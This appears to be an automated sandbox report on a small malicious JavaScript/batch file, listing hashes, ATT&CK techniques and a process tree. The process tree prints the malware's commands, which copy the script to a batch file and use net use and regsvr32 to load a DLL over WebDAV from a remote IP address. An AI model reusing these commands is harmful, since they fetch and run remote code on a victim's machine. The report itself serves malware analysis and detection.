3239bc7664420ece8cca089d3ed085ed5b8aff003805153223fd9b2c5029e521

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09-07-2024 01:11

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General

Target

8526141892769132019.js
Size

5KB
MD5

b6de0034f9a707285a4d20f1fc4d46bb
SHA1

51e1425d0a4e6019c4a527d0c5064a20ce38d558
SHA256

4928d97862f1c3f93b2c3d7384d05f83e9540304ed0806fff834e2338948b0d7
SHA512

37e4cbe82a7ec45cfd63497ff7d8aa61f396bb664904385959c127acbbbc34443c8274621c9a25f51ca6f2bd068df3bc1e133fb900bfddb7f3e3ca05fc474cd2
SSDEEP

96:uDSkF5QtdUYYythVdUYYnaE2lZ/BXUVrotFIgvYlMhl7e5+lMTl8wNhkDN8:uRHQttthVIr2f/BX4rgdEzhkx8

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2548	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2488	3044	wscript.exe	30
PID 3044 wrote to memory of 2488	3044	wscript.exe	30
PID 3044 wrote to memory of 2488	3044	wscript.exe	30
PID 2488 wrote to memory of 1048	2488	cmd.exe	32
PID 2488 wrote to memory of 1048	2488	cmd.exe	32
PID 2488 wrote to memory of 1048	2488	cmd.exe	32
PID 2488 wrote to memory of 2548	2488	cmd.exe	33
PID 2488 wrote to memory of 2548	2488	cmd.exe	33
PID 2488 wrote to memory of 2548	2488	cmd.exe	33
PID 2488 wrote to memory of 2548	2488	cmd.exe	33
PID 2488 wrote to memory of 2548	2488	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\8526141892769132019.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\8526141892769132019.js" "C:\Users\Admin\\zwvypj.bat" && "C:\Users\Admin\\zwvypj.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1048
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\281.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\zwvypj.bat

Filesize
5KB

MD5
b6de0034f9a707285a4d20f1fc4d46bb

SHA1
51e1425d0a4e6019c4a527d0c5064a20ce38d558

SHA256
4928d97862f1c3f93b2c3d7384d05f83e9540304ed0806fff834e2338948b0d7

SHA512
37e4cbe82a7ec45cfd63497ff7d8aa61f396bb664904385959c127acbbbc34443c8274621c9a25f51ca6f2bd068df3bc1e133fb900bfddb7f3e3ca05fc474cd2

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